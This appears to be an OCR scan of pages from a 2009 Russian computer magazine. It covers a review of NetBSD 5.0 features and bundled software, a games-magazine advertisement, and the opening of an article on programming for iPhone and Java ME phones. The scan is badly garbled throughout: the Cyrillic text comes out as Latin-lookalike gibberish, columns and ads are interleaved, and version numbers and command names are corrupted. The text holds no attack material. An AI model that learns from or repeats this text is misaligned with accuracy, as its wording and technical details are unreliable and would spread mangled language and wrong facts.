POSIX-coBMecT\oU.40~ C~CTeMe

6e3 KaKV1X-J1ltl60

3aTpYAH€HltlL:1.

pa3pa6oTYl.1K08 NetBSD pa50Tam B 3T0i1 KOM­ naKltlltll. 3TO peamnau,I-1I'l.l(l1accw·iecKoVl MOACl11i1

liTo tyT CKa)KeWb? LJ,eJIOCTHOCTb DC ~ npopa60·

lKYpHafll.1pOBaHltl>l 8cex onepaul.1Vo 3anltlCIiI 6110KOS

TaHHoCTb,Q~3ai:1HaBcex

nepeA I1X Henocpe,QcTBeHHblM nplilMeHeHlo1eM,

KOMnOHeHTOB Cl.1CTeMbl,

default -v 127-5 max. CTaH,ll,apTHI:JIIAKlll.1­

CT3BWl.1e cne.o.CTBl.1eM BblCOKOM nopTa6eJ1bHOC­

V13KlM\IIHKa CI-1CTeMbl 8TOM, YTO aHa He Tpe6yer

eHTftp7enepb yMeeT lilrHOpltlpOBaTb ncea.o.OKaTCl­

Tltl, - O.o.HO [ol3 e3>KHei1Wl.1x,QoCTOlolHCTB NetBSD.

KaKOrO-I1l.160 npe06pa30eaHI1R <DC l,!J.oCTaToy-

norV1 (Y106bl peKypCltlBHble 3aKa4Kltl He C03,1J,8Ballltl

HO npocTO,!J.o6asltlTb onu,111O log s/ete/fstabl

NETBSD 5.0

6ecKoHe4Hbli:1 U,IiIK.nl. KoppeKTHO,lJ,OKa4Ii1BaTb

II

tPai1/lbl, nOAJl,ep)4(14SaeT npOKCltl, 3al..l.\l.1w,eHHble

Ecn!'1 OpenBSO 4_5 - peJ1ltl3 MltlHOpHbli:1, 60/1b­

TeJ1bHOCTb Bblwe. 4eM soft-dependencies Isoft­

napOJ1eM, ltl Q>nar ' -11' AJHl nonyyeHltll'l TOllbKO

WI1X l.13Mel~eHltlM

updates, rosoptl He Sl3blKe FreeBSDI

06HOBneHHbiX Q>aj;!1108

NetBSD 5.0 - C06blT>1e rpOMKoe l.13HaYlo1MOe

nORBI111aCb nOMep.>KKa 4TeHIo15'1 C¢aHfloBbix

Bo MHorlilX yrV111l.1TaX ",cnpaBl1eHbl OWl.16Kl.1

CI1CTeM EFS [pa3pa6oTK3 Silicon Graphicslltl HFS+

l.1SbI110BJleHbl yreYKl.1 naMI'lTIiI. PeweHa np0511eMa

C MOMeHTa Bblxo.o.a 4.0 npowJ1o y>Ke 60nee ,QBYX l1eT. 3a 3TO BpeMS'! pa3pa60T41i1Klol nepe­

DHO_DHCP_OPTIONS_OVERLOAD 8 dhcpd [81

HOCIiIMOi1 BSD A06aBl.111\tl 8 CBoe TBopeHlile

yrl.1J1Ii1Ta newfs_exl2fs 18)iVlR C03,ll,aHltlSl q,aj;!Jlo-

~

086

S ce6e He Hecyw,tolH, TO

l.1 B 6onbWIiIHCTS€ 3aAa4 nOK33blaaeT npol.13BO,ol.1­ 3HOHC

lq,aVll1oB3R Cl.1CTeMa Applel. HaKoHeu,,IJ,06asJ1€Ha

XAKEP

05 /1251

09


NETBSD nPEKPACHO lJYBCTBYET CESSl HA TOCTEPE .•. BblX CI-tCTeM ext 2,

pea1H13aL.J,I1~

KOropOi:1, KpOMe

npl-1,lJ,3er NetBSD 4eprbl HaCTO>lUJ,eL1 Ml-1KpO>l,D,ep­

Toro, C63aSeJ1aCb nO.Q,Qep)f(KO~ 32·6VlTHbIX nonei:i

HO~ OC. HG iII,a,e>l, l1e)l(3U..\aR Bero OCHoee, 04eHb

uid/gid. CYl..L.leCTBeHHO yBeJII-1'-1eHCl np0V1380.o.V1­

npocra. CaM q,peL1MBOpK npe,a,craBJ1>lerco6oii

msdosfs, CKOpOCTb 3anV1CI-t Ha KOTOpyto Tenepb MO::+::CT npol-lcxo,o,I1Tb.o.0 16 pa3 6blcTpee,

He '<TO l-1HOe, KaK BblHeCeHHbJH BnpOCTpaHcTBo

rellbHOCTb

VhiTerplllpOl3aHa KDMaH,D,a mounl_sysctlfs

181.

n0l1b30S3Tei1>l Ha60p BHyrpl-1>l,D,€PHblX q,YHKU,l-1v'. OH It1Cn0l1b3yeTC>l BbICOKoypOBHeSbIMl-1, He 3a­

n03B0J1l'lIO\.l!,al'l npe,qcTa8I-1Tb,ll,epeBO nepeMeHHblx

Bl-1Cl-1MbIMl-1 OT annapaTHOv. nJ1aT~OpMbI ~aCTSlMl-1

sysctls BI1,Ae q,ai:1noBoi:1 CVlCTeMbJ. OC Hay"ll1­

I<Apa .0.111< ,Qocryna KHl-13KoypOBHeSbIM. BMeCTe

naCb nL-IC<!Tb B

UDF, ,qJWl4ero 6blJ)v,J],o6aBJleHbl

crump S NetBSD SOWJ13 \.1 nporpaMM3 rump_nfs

COOTBeTC"1 BylOllIli1e Vl3MeHeHI'lfl B s:lAPO ill ABe

t8J. peal1l-13YIOUJ,8" KJ1i11eHT NFS BnpOCTpaHCTS€

HOBbleyno1J1l'lTbl; mmcformat 181l1! newts_ud! [8L

n0J1b30SaTeJ1Sl. 50J1ee TOro, 11106yfO ¢aYlJlOSYfO

Ko,ll q,ai1J10BO~ CI'1CTeMbl unionts Cl-1HXpOHI13I1pO­ BaH c FreeBSD. a nOA.Qep>KKa NONFSy.o.aneHa

Cl-1CTeMyTcncpb MOA<HO nepeKOMnvumposaTb

... H PA3nHlJHbiX BCTPAHBAEMblX YCTPOi1CTBAX

My JHo60Yl C.nO)KHOCT\.1 nOJ1HOCTblO B npOCTpaHCTse

AJ1>l pa50Tbi BHel<Apa.

n011b30S3T€l1R. BM€CTe C¢pe~MBopKOM TalOK€

ApyraSll-1HrepeCHal< HOS\.1HKa ~,Qpa - puffs

,Qo6aSJ1eHbl ¢aWJ10Bble CVlCTeMbl, \.1CnOflb3ylOll.i\.1e

BaeTcPpei1MBopK rump IRunnable Uscrspace

[Pass-to-Userspace Framework File Systeml­

ero B03MO)l(HOCTVl:

Meta Programs!. n03Bom.IOLUI1L:13anycKarb 4acn1

¢pev.MBopK.l-1Cn0l1b3YfOUJ,l-1V. B03MO)+(HOCT\.1 rump

• mount_psshfs (81- 8\1pTyaflbHa~<p3v.J10Ba~

>lApa KaK nonb30aarellbCKl-1e npolleccbl. Rump

\.1 n03S0J11<1OU..\l-1L1 pea.nl-130SaTb ¢aL1.nosyfO CillCTe-

CVlCT€Ma p,JlI1 MOHT\.1p08aHVlI1 sftp-ceccVli1:

IH COCTaBa l'l,[l,pa.

Oco6oro BHI'lMaHI1l'l3acny>Kl-1­

• mount_puffsportallBI - 3KcnepVlMeHT311bH3R

pea.n\.13aLJ,\1R portalfs B npocrp3HcTBe n0l1b30­

saTe11l1:

CTOPOHHEE no BEiA30BOVI nOCTABKE NETBSD 5.0 ipf4.1.29 6IND9.5.0-P2 NTP4.2.4p6 OpenLDAP 2.4.11 OpenPAM 20071221 OpenSSHS.O OpenSSLcHamlloToT20080S09 Posrfix2.SA GNU GCC 4.1 cHarrrnOTQT20080831 XAKEP 05 11251 09

• mount_9p (8) - ¢tai1J10S3>l ClIlcreMa AI1~ MOH·

TVlpOei:lHV1R cj>ai1noBblx cep8V1coB 9P !npoTOKoll,

np\.1MeH\1eMbli1 Bpacnpe,L\eJleHHblX onepaLJ,\.10H­

HblX CV1CTeM8X Plan9 V1lnfernol.

nosepx puffs c03.o,aHs o6epTK3 COBMeCTI-1­

MOCTV1 CrUSE [File system in U5Erspace,

fus€C,f.netl. npvH-1ep nOAKnlO"eHIt1~

sttp-C€CC\.1V1 c nOM0UJ,blO mount_psshls:

mount-psshfs -0 Compression=yes

vasya@host,com:!usr!mnt

B RAPO V1MnOpT>1pOSaHbl nepepa60TaHHbie C\1CTeMbJ 6J10K\.1P080K. peaJ1V1308aHHble S seTKax newl.ock2 \.1 vmlocking2, a TaK>Ke naT4 AJl>l6.no·

~

087


~ ~

"" Kl1pOBK~ COKeTOB. V13MeHeHvHo no,qSeprCfl 10\ Ko.o.5115JHlOTeKV1

.. . . - - - - - ­

.

tibpthread. 8 K,OTOpylO 6b11l0

",

06HOBn€H,o,0 sepcI1113.3,Ao6aSI1€Ha nOAQep.>KKa

• dkscan_bsdlabel - Y1HcTpyMeH'I'

apXlIlT€r<TYPbl amd64ldomO 11 domU] 11 pacwl1­

~Ml nOJ.1CKa

Ao6aeneHO HeCKOJlbKO YIlY'-lWeHI>1~ B o5J1acn-t

peHlt1R i386 PAE,D,IlR domU. Vl3 C006pa.>KeHlt1i1

«880 disk.label» HD. JJ:VlCKe.

Cl-1HXpOHI13aL\l-111 nOTOK08. MO,lleJlb nOTOl<08

SA 3a­ 1:1. Ko,q peaJl1133l..\lt1l1 malLoc33MeHeH Ha jemaUoc 1-13 FreeBSD. Onn1MI13lt1pOeaHHbli:!

6e30naCHOCH1 y.oalleH Mexa~I~3M systrace.

nepepa60TKe III MO.Qepl-llt13au,1111 TanKe lloJJ.Bepr­

MeHeHa Ha

s:l.n.pOTenepb el.l.(€ 6onbweCOBMeCTVlMO CPDSIX

J1 I1Cb CYlllecTByKlUJ,l1e yrlt1Jl1tlTbl:

.QIlfl MHorOHlIITeBblX npltlJ10>KeHltlL71. V1HTerpl-1pOeaH

KaK: PDSIXReal-time, Asynchronous I/O lt1 POSIX

MOAYJ1bHbl~ nllaHliIp08ll.\VlK SCHED_M2. KOTOpbli1

message queues. nceB,D,o,D,paiilBep fastjpsec

nOKa3blsaeT BblCOKYIO np0lt13 BOAI.1TeflbHOCTb

06Y411l.nlt1 pa60T€ CT€XHOllOfl-1eL'ii IPSec NAT-T, KOA

• config

H<J "moronpoueccopHblX CI-1CTeMaX, nO,D,Aep)l(l-1sa­

6p31-lAMay3ptJ pf (4) CI1HXpOHI13lt1pOBaH c OpenBSD

rypalV'\"oJiHl:6! ¢>afm LUff D.1lfI

eTltICnOflHeHl1e np0l..\eCCOB 8 peaJ)bHOM epeMeHl1

4.2. nORSIo1JlaCb nOMep>KKa «ipv6 fast forward".

'-L') .

11 nOAQep>KI1BaeTTaKI1€ paCUJlilpeHlo1R CTaHAapTa

141

• amd Tenepb yMee"X 3ar.paDrIo1SaTb Kap'l'hL (am:1maps) ycepaepa LDAP. Ha.PI11J1Cfl reHep11pOlXlTb K0HsfYl.­

(1lJlar

fI.q:;ta

VI n03BonSleT Bbl6HpaTb anroplllTM nJ1aHlt1p08aHl1~.

BTOPO~ CTa,ll,l1eL'ii

He OCTaHaSJlI1SaSl Cl-1(TeMY_ Tenepb NetBSD

J151Tb 4epe3 KOHq>IMypau,lIloHHbli1q>SL:1Jl booLcfg

r013

60flee MacwTa61-1pyeMa lt1 nOKa3blsaeT 3aMeT­

181. nplo1Mep KOToporo nplt1Se,ll,eH Hlt1>Ke:

iPJ1ilr 'J' B KOH<:p01'YpaL'1IIOHHOM etJai1­

Hbli1 npYlpOCT npol-13BOAl-1TCllbHOCH1 Ha

MP­

Cl-1CTeMax. 501lbWl-1M lt13MeHeHltlSlM nOABeprcl1 KO,l:i

11

3arpy3Klo1 Tenepb MO.>KI-lO ynpa8­

COBMeCTI1MOCn1 c Linux feompaUinux 18)

compaUinux32L 1'13 FreeBSO ~Mnopn1pOSal-l

KOA nOMep>KK~ TLS, Ao6asJleHbl Clo1CTeMl-lble

• ne·...' syslog COlllMeT iPai1JJb! 110­

c nOMOrr{hlO bzip2.

ne/ctc/newsyslog. conf. menu=Boot normally: boot netbsd

• bioctl cyw:ecTBeHHo

menu=Boot single user: boot netbsd-s

YI Tenepb

yMeeT

menu=Disable Acpr: boot netbsd -2

""hoc-spare»,

menu=Disable ACPI and SMP: boot

M

RATD-ToMa.

W1C1G1

netbsd -12

ea'l:'b npOBepKYI Ha

menu=Drop to boot prompt: prompt default=1 timeout=5

..aaHHblX

HblX Sbl30S0B ceMei1CTsa chown. 06HOBJl€Ha nOAAep>KKa IPC, Ao6asneHa nOMep>KKa osssudio [31. Blo1pryaJlbl-lS51 epai111osa" ClIlCTeMa prods

corniS\COUaHHOCTb

TOMaX.

patch l1MnopTl-rpOBaH

sdiff

1'1:3

DragonFly.

/o1M.:lOpTl1poaaH 113

OpenBSD.

xargs MMfl09Tv.pOBaH 113

FreeBSD.

B 6a30Boe oKpy::t:eHlile NetBSO 6b1JlI1A06aBJ1eHbl:

B 6a3csylO flOCTaSKY 6bl11Y, SKJl104eHbi httpd ­

Tenepb3KCnopTt-lpyeT /proclstat. /pmc/loadavg • YTWllTllTbI

npOCTOI1 HTTP-cepBep, Hanl1CaHHbli1

3MYJl>1l.\t-l1ll32-6I-1THO~ NetBSD kompsl_netbsd32

TIl

lt1dhcpcd4.0.11

18)), y,o,a.neHa nOAAep:+::K3 3MYI1~LJ,\I1l1l HP-UX

,U,JlJ'l

[compaChpuxL KOApeaJH13aLJ,lIlt-l «Man14ec­

B

KlAX ClIlMSOl1l1l,<eCKt-lX (CI>I110K». n03S011RI01lIl.1i1

• YTHJlTI!Ta acpitools, Tl!MnOpTl-1pOBaH­

C~MllV1HKaM

Han: 113

\11

/proc!<pid>/statm. 061-l0SJleHa nO,QAep:+::Ka

«puss-through»

3anycxaTb/OCT3Hasl1M­

Bbl30Bbl getdgid, old_uname. readdir, pread,

B

nepepa6oTaH8

C03JJ.ae8Tb/y,o,an.ltTb

pwrite, mlock, munlock, msync, sys_clock {gel res, gettime, settime} 101 HeCKonbKO Clo1CT€M~

eCJlYI. YK33aTb

YKa3blsaTb Ha pa3Hbie 4>a~Jlbl

audit-packages do;,mload-vulnerability-list nOMCKa M3BeCTHblX y513BMMOCTei1:

yCTaHOBJleHHblX naKeTax.

FreeBSD.

B3aSlIlClllMOCTlIl OT 3HSyeHlIll1 O,ll,H0i1l1lJ1l.'1 He­

• c99 - Bparmep.

CKOI1bKlIlX cneu,l1aI1bHbIX nepeMeHl-!bIX, 06HoBlleH

Me COBMeCTI-1MOCTV.

lt1 nOMep>KI1SaeT nepeMeHHylO 0ruid. KOTopafl

• tpro£ -

pacKpblsaeTcSl B «HacTO~UJ,l1i11» UIO npoL\ecca.

BaHHG/J1

B peHl.l1­

CO CTaHp;apTOM e99.

npOCTOH

npoq,awnep,

OCHO­

Ha l1,[lee MOHViTOpl1Hra npOM3BO­

3Ta B03MO)KHOCTb lIlcllollb3yeTcSI AJl51 C03,o,aH~R

,IH1Te JlbHOCTM.

• schedctl - npOrpaMM<3, npe.n.Ha3H<3­

Jl~ {OIlLJ,l-1R «per_user_lmp=yes» B/etc/rc.confl.

'-i8HHaR.unH

Me4€HHOIil u,e.nlt1 - elll€ O.QHa npI1SJleKSTe.nb­ j./al1 "'lepTa «(anbTepHdTlIlBHblX» BSD. H I1l<aKO~ nOrOHI13a

HCBosBe,o,eHlt1~Ml<1l1l

:+::eJlaHI1R ypBaTb

KYCKI'1 cpa3Y scex S03MO.>KHbIX pbIHKOB_ npoeKTbl OpenBSC l.1 NetBSO Y>l<e ,Qasi-lo

ynpa8neHI1F. nJl3HMpOBallweM

nepeWlll<1 4€PTy 3peJlblX, nonHOCTblO rOTOSblX Kl<\CnOflb30saHlIllO n pO,D,yKTOB. l<1 Cel1l.ldC lt1f.i€T npo14eCC nJ1aHOM€pHoro pa3SI1TI1R 11 nplllcno­

MarW-leCKlt1e Clt1MJ1I1HKI1 - AOSOllbHO npocToi1,

npoueCCOB

1'1:

HO nOJl€3HblL'ii MexaH1Il3M, KOTOpbllil n03S011l'leT

• psrset -

YTJ1nJo'ITa ,Qn.l'l ynpaBneHJ.151

c.oeJlaTb. HanpW>lep, TaK [Ha MaWIo1H€ x86 -/bin

rpynnaMJ.1

nOTOKOB.

npoueccopoB. • cpuctl - n03BOJHteT nerKO 8/(1110­

'-i}jTh/OTKlID~Jl1Th

;:; H1WE EAEWb­ AAJlbWE 6YAEWb PS3MepeHHoe, H€lOPOflJ1101 BOe ,D,Bl<1.>K:eHMe KHa­

3anyCKa~ CC

1Il3011l-1posaHHoro /tmpAM Ka.>K,D,OrO nOllb30saTe­

6YA€TYKa3bIBaTb Ha -/bin-i3861:

HOI CV1,

HyJt:HblM npou;eccop.

C06neHl<1R KMeHHlOllIeMycI'I PblHKY IT CJl€.>K:€­ HVle 3a pa3pa6oTK0l13TViX DC CpO,1J,HIo1 yreHl<11O Ma Hrpbl, KOTOpa51 ycnOKa"lsaeT l-1 HasO,D,l--1T Ha npaBl--1J1bHbl€ MblCnlt1, X

it sysctl vfs.generic.magiclinks=l

$ 1n -s/home/v3sya/bin-@ machine/home/vasya/bln

06HosneH CTel< bluetooth ~ COIlYTCTBYIOl.l.(I1€ YTI1­ Jll4Tbl. B l'I,!!,po Ao6aBJleH .opai1sepAllR Bluetooth

I

HCI UART, Hanl.1CaHHbllil c Orl151,D,KO~ H3 Linux­ Apa~Bepa BlueZ lt1 n03B0I151101lIlt1L:1 nepeCblI1aTb

naKeTbl '-lepe3 nOCne,[lOBaT€JlbHbliil nopr..o.o­ 6aB11€Hbl AeMOH btuartd (8), KOTopbliil ynpaBJll1€T pa6OToVo,l\paiilsepa. bpand

laJ. ynpaBJl~IOUJ,l-1ii1

B OpenBSD 4.51113 HA60PA nPEKOMnllllll11POBAHHblX nAKETOBAll~nllAT~OPM

i386/amd64 CTOlliT BbiAElll11Tb:

npcq>VlJl51MVl PAN IBluetooth PersonalArea Networking)lIl btkey (1) ~ nporpsMMa ,[1111'1 pa6o­

Gnome 2.24.3

Tbl c KlllOyaMlIl COeAlt1H€Hlt1i1. YTlo1nt-lTa ilconfig (81

KDE 3.5.10 X(ce 4.4.3

no KQMaH,IJ,€ «list scan»Tenepb Bbl,[laI?TCnlt1COK ,[IOCRraeMblX TOY€K ,ll,ocryna.

OpenOffice.org 2.4.2

v13.t:1pyrlolx l.13MeHeHl-1l7i oHyrpl151Apa MQ)t:;;HQ

Open Arena 0.8.1

OTMeTlt1Tb pa60TYHa KOHCOJlIo1 MicrosoftXbox,

nOAAep)t:;;Ky DRM IDirect Rendering Manager),

Mozilla Firefox 3.0.6 Mozi lla Thunderbird 2.0.0.19

Heo6xOAlt1MylO,o,llR pa60Tbi 20- 1Il30-ycKOpeHlIlR

MySQL 5.0.77

S8l-1,QeO,D,pm1Bepax, noMep::t<KY PIE. nopr Ha Xen

PostgreSQL 8.3.6

~

088

H

3.0.1

XAKEP 05 /1251 09


nEPBblH B POCCHH 3nEKTPOHHblH )l()'PHAn 0 KOMnblOTEPHblX HrPAX

COAEP>KAHItE HOMEPAl

~'"

0I11fJd~:_

nll'J'1llU""""""'''''"'''''t'''/.<lI'~ _ s...m Clo..,.

::(Jo,.... "..,npowooi<~..

Com __ .& ecn.r.­ I\edAleo1.31..\>riSinu _TheEnDtI'*II~

.~;;""".,.,1f:"'"

'­--­

1""",smu1a1Oo'2OO9;

WorlcIiluIcler&litior>

OIiPATM BHMMAHliEl

il'A_Ie""

6YP".rn<3l1(l

'I¥orld.,D::dIietSovle<""",,,

1b<"'" ... ""1'~

"'"

o~

..­

~Shib,

a< 1lnew-_ "'w:.«:o3l1 J1tIeo"'"'" 0u'Ig80ns & D'.gons

"PO''''

TomCW>c1.K.....WX

T""l.. tRI"""'r~

ONno:SIo<mr<IoocI>

W:<1d

"""",,",_o:owm.oorero .~(W.IEll·Aa::m

OHnAiiH ~.

T"" ""1St.",; _t\lUe_w-'rt'W1 ,'.4otocJp« "fI'O.'-'ll_"

PEIlEH3MII

I>omoComS11

IMOlAlO"I

~f'I:To;QI\""'.

Pl:1l£H3M1I

_~_"ll

Mioo'""'IllCf1'lan1;r(Jric:s

T_ _..

__ -

lIlOlEc.AMU *"",DT"-.o._,

"';m:TheT_olE!errVty _ ...

""'~

Xe"'l~""",'O>IIOC'"

T=-•• ..".,.""'~

,~

_ _ ii

c.ne.... -~"".. .~

Ooiko"",.

CfWl"a' "",,,"A><oo.a I'oMol>c> Plaiin<c!

P"",,,,,,,• •,,..

i"Confli(;~

$<).,,01 .........1

W't!;nmen: l'rolEnd'IlNillh !lI<Hl\H_~"

....

C<>r""""'C&Co<>Qo,.er:AtcI~Of1

3Uplisi<1g

TPEMll&Pbl WdI"",t.., loIodernW"f_2

TomC>arq'.IU.-WJ(.

..-­

NeedF<>r~;~

-"3"ThoPll

0i1lT2

fdool3.~:~

OCOOO.,.....,..,<Opy..... c,\,.ll'olSoo Kpoc...... "'eu2 1C"II-.lloI."ll'fnp""U""eal

-

a.nief~;1ladC<>:npany2

Btlrr.ar"AMownAsyUn

" .""""

M~MTE B npQAA>KE

C7 MASI

. JIlt'IT'w 1 2 .

.

---

!i.ea~1 :• ,.

,

EcnM ClKATb CAMYIO BAlKHYIO MH<l>OPMAI.IMIO 0& MrPAX

.'

~

~~-.

;i;.r~~

MOlKHO

nOnY~MTb

OTnM~Hblii lKYPHAn UPC MrPbl.ZIPll

'--~--------@


+

» coding

. -l---+

onEr npl-\!lIOK I AZANITOlilGMAIL.COM I

" ::::r:::::::::J +

++­

KYAa nOAaTbCSI TenecIJoHHOMY KOAEPY?

nonHblH notA no M06lo1llbHb1M nllaTc:PopMaM Ami nporpaMMHcTa

-+

TOT cjJaKT, YTO 3apa6aTbi BaTb KocMoKpe,o,v1Tbl Ha KO,o,VlH ,e no,o, Mo6Vlnbi Hene,Ko, COMHeHVl~ He Bbl3blBaeT. VlMeHHO n03TOMY npo,paMMVlCTOB

,o,n51 Symbian, iPhone, BLackBerry, Windows MobiLe, Android Vl ,o,py,VlX Mo6VlnbHbix nnaTcjJopM nOYTeHHO 30ByT ,o,eBenonepaMVl. A Ko,,o,a 30ByT ++.J..

- o6ew,alOT MHO,O nnaTVlTb 3a xopowYIO pa6oTy. MO>KeT Vl Te6e nopa BnVlTbC51 B CTpo~Hble p51,o,bl BOVlHOB Mo6VlnbHo,o R&D?

.. +~

I· I I fe·

. I

... ~_.i+.,.+-~

_. t-

C03,1:l,aTe,11lO TblC51YI'I ,QonllapOB. Ho CTaH,I:l,apTHbl~cu,eHapV1~ TaKOB: 0 nepBblii

APPLE IPHONE

CnPAB,A

AeHb n05lBlleHV151 Ha rl1asHoi:1- 20-30 nOKynoK, 3aTe~ naAeHV1e SapXI'IB H 1-2 norynKl.1 S He,l:l,emo I'-lTO npl'lHOCVlTaslopyno O,l:l,HoMy-,I:l,Oa 6aKca ap,eHb l.1nH

V1cnollb3yeMbleSl3bIKl-\ Hl-\3KoypOBHeBoro npOrpaMMl.1pOaaHl-\S1: Objective C,

+ -'

+

C++

nplilMepHoe KQIlIo1t.leCTBO npoAaHHblxYCTPO~CTB:OKOIlO 15 MnH,

Y'-!aCTb nOCTHraCT 80% nporp3MM sAppStore.

AOflSl pblHKa CMapTl~OHoB: 16%

n03lATYl8Hblii MOMeHT3aKJlIO'laeTC51 B TOM, llTO CY1.4eCTByeTeAI'IHblii Mara31'1H,

KOIlW-IeCTBO BblnYU4eHHbiX MOAeneii TeneepoHoB: 2

t<OTopbllAyYt<e BCTpoeH 8 TeneepOH, 0 KOTOPOM nonb30saTel1l1)HaIOT. Ky.q3 noCTO­

n03~n,BHEH bKO:

I'lHH03aXO)J,51TH __. nOKynalOT. nOl<:ynalOT, norynalOT. HI'I O,D.I'IH ,I:l,pyroiA np0I43BOp,V1­

• YAo6Hbl~ SDK

TenbTenetlJOHOS HeCMOrnpl-1BVlTbnOKYnaTenl'lM cBoe06pa3l1blii peepneKc, 4TO

• E;J.lt1Hblafl Mara3l<1H nporpaMM c 60flbWl.1M KOI1W,jeCTBOM nOl(ynaTelle~

C04>T Hap,o 6paTb He Ha epopyMax, a 8 Mara3V!He. ,Qa)f(e OX041'1e AD X2fll'l Bbl )f(menvt

• He IlaAO 3a50TlonbCf1 0 C08Mecnil""ccTM C apXl-IBOM BblnYLl..\eHHoro)Kene3a

Hawel:1 npeKpacHoi1 crpaHbI. npep,CTaBbTece6e. CO¢T.AJl51 Symbian BopylOT, a

POHIBHEi"lb

~ ~

Hep,elllOl. Cra61-11lbHO, HO K3K-TO HeOyeHbnpvt6l>lnbHo. nO,l:l,06Ha51 He3aBV1,1:l,H3l'l

Afll'l iPhone - nOKynalOT.

• npI1Hll,lt1nl1aflbHafl HeB03MO)KHOCTb peam1308aTb MHOrL-le CPYHKl.\Vll-l4epe3

TaKa5lBCTC14CTeMa lJ,eHHocTei:1. ECfl\o1 rpaMoTHo no,o,oihvt KBonpocy V1 C03AaTb

04>lt1ll,l.1allbHbli1 SDK

nporpaMMY. KOTopYI03aXOT51T Kynl4Tb TbIC5I'"lvt nOJlb30eaTenei:1. TO MOXHO cpy6l.1Tb

• Heo5xoAV1MoCTbHMeTb KOMnblOTepApple V111H C MacOSX.D,fl~ycraHoBKH

IDE

• CflO>KHO npoiJ,aTb nporpaMMYAop0)l(e $5

onpe.o.ellCHHoe KOlll'l4eCTBO ,I:l,eHer. VlcnonwyeMbll1513bIK nOXO>l< Ha

CH, cpep,a pa3pa60TK\IIl.1 AOKyMeHTall,ltlS1- a

nop5lAKe. HallaTbonblTHoMYKOp,epy 6y.qeTJlerKO. CSO\o1X HlOaHC08XBaTaeT, HO CO¢T AJlI'l senHKOro l'1y)I(aCHOrO raweT3 1'13 Kynepl'lTHO He nl'lWeTTOllbKO neH\1­

r01l08Hol:1 60nlll HeMHoro_ CaMOe rnaSHoe: He Ha,ll,O 6eCnOK0l.o1TbC51 OCOBMec­

Bbli1..,lll'l 5e3,QapHbli1. KOMnaHl-11'l CYMena C03,Q<lTb rlll'lHue8bl~ TeneepOH. rmIHL(e­

TI'IMOCTI'I co CTapbl~1'I sepcV151M \01 SDK VI onepau,lo1oHoK {nnaMeH Hbli:1 nplll8eT

Bbli:1 SDK, OTnOllV1pOeana Bce rpaMoTHblM nl'lapOM V1 np\1KpenHn3 KayeCTBeHHYIO

SymbianJ. Cpa3HowepCTHbiM )l(e,11e30M. pa3H:>IM\o1 pa3peWeHYI~Ml.o1 3KpaHoB 1'1

p,oKYMeHTall,l1lO (nop,po6Hee 053TOM Mbl nl'lC3nl1 Bp,eKa5pbcKoMII

Ml-1J11lV10HJMYI cnoco6oB B80JJ.aAaHHblx. V1MelOw,l'IeC5I.,a pblHKe,ll,Sa lepaKTl'1'lec­

nporpaMMbl p,n51 iPhone npOp,aIOTC51nerm 1'1 6bICTpO,- Bna)J,E'J1bl.J,bl cBepKalO­

KIo1, Op,vtH] Tene$oHa annapaTI-lo '-IYTbnl'l He Vl,ll,eHTvtYHbJ. noceMy - nporpaMMV1Tb

w,ei:1 Mo6l.1J1KV1 OnepaTI'IBHO V1 C3aSl'lAHOH nepvto,QI'IYHOCTbI03axoN1TBcneu,l'I­

BblXOAIo1T peanbHO ncrlle.

aJlbHO ome,QeHHoe Mecro, HMeHyeMoe AppStore, V1 nOKYnalOTTaM CSe>KV1e vtrpbl

H

1

1'1 coq'll. OCHODHa51 yaCTb nOKYnaeMoro (T0V1fOT$0.99 p,o $4.99. 3TO,IWCT3T0<1HO

BEPA~KT

npoCTble nporpaMMbl Kop,epOB-nI06I'1Tene~ Vl!ll.1 ManeHbKHX KOMnaHIo1i:1, '-Iaao

B03MO>KHO, nyTbM061'l1lbHorop,eeenonepa V1MeGTCMbICJl Ha'f~HaTbI'!MeHHO C

BblnOflH51IOll\l-1e 1-2 ¢YHKlJ,l.1I'1. TaKoi1 COepTJlaCKOBO Ha3blBalOT iFart Is 60nbHOM

R6110'-lH0i:1 Mo6V1JlKItl. BonOllbKo, '-lTo6bl '-lero-Tc,Il,06V1TbC51, Ha,ll,oYMeTb4aCTo

nepeBO,l:l,a - «51nyK») nporpaMMbl, KoTopble nOCJle tvleJ1bK3Hl.151 Ha rJlaBHoi:1

vt MHoro.o.yMaTb, 0pl-1eHTV1pOSaTbC5I Ha nOJlb30BaTeJ151, YyBCTBOBaTbTpeHAbll'l

CTpaHV1LJ,e nonap,alOT Btop 100 \1111'1, ew,e ny" we, B top20, 3apa6aTbiBalOT csoeMy

,Il,BI'I>l<eHVl51 pblHKa. CMoreWb?

~

090

XAKEP 05 1125/ 09


» coding

+ 1. -1- ..;.

I

+"f

+T++-t

J

+.;.~

+-f-t +.j

+

JAVA ME CnPABKA

npaBAa, eUbOAYlH cyw,eCTB€HHbIM nnKlC O,[l,Ha>KJ],bl Hanl1CaHHYIO Java­ nporpaMMY OTHOCWTeJlbHO JlerKO 3AanTlllpOBaTb YI AJlI1 CBeiKeYlCn€4eHHbIX ceHcopHblX Nokia. WAJl" HaCTpO€HHbIX Ha 61113Hec BlackBerry, III)J,Jl$l 06bl4HbiX

l-'1cno.nb3yeMble fl3bll<III HIII3KoypoBHeBoro nporpaMMlllpoBaHlllfl:Java

ME

TenerpoHoB-3BOHIIIJlOK, WA0;+(€.o,JlR 4ero-TO COBC€M HOBoro, '-HO BblMAeTTOJlbKO

V1 Bce >Ke -

nplllMepHoe Ko.n1ll4eCTBO npoAaHHblxyCTpoLiiCTB: nOYTYI MV1JlnYlapp, TOJlbKO B

4epe3 roA.

2008 ro{j,y

pa60Tbi no 3,IJ,amaLJ,l-1111 rOTOBblX nporpaMMAJl>1 HCBbIXYCTPOMCTB.

KOJllll4ecTBO BblnYLlleHHbix MOAe.neLii TeJleepoHoB:

80% Bcex BblnYLlleHHblX 8

A>KaBa A)f(aBe p03Hb. OTCKlA3 III MHOra,IJ,OnOJlHIIITeJlbHOLii

Ho Bce np05JleMbi no Hanl-1CaHIIIKl coq-na Ka>KyrC\1 MenOYbKl no cpaBHeHI-1Kl

MYlpeTeJlerpOHOB

C TeM, KaK HenpoCTo yroBopYlTb nOJlb30BaTeJl" ero nOCTaBYlTb 11, TeM 6oJl€e,

n03IHHBHEHbKO·

Kynl-1Tb. BJlaAeJlbl\bl cMapT¢oHoB npeAn041-1TalOT HaTVlBHbl€ nporpaMMbl,

• COBMeeH1Ma c 60nbWYlHCTBOM Bblnyw,eHHbIXTeJlerpOHOB

a 60JlbWI1HCTBO (a6comoTHoe] BJlaAenbLJ,eB Tene¢oHoB l13HaTb He 3HalOT 0

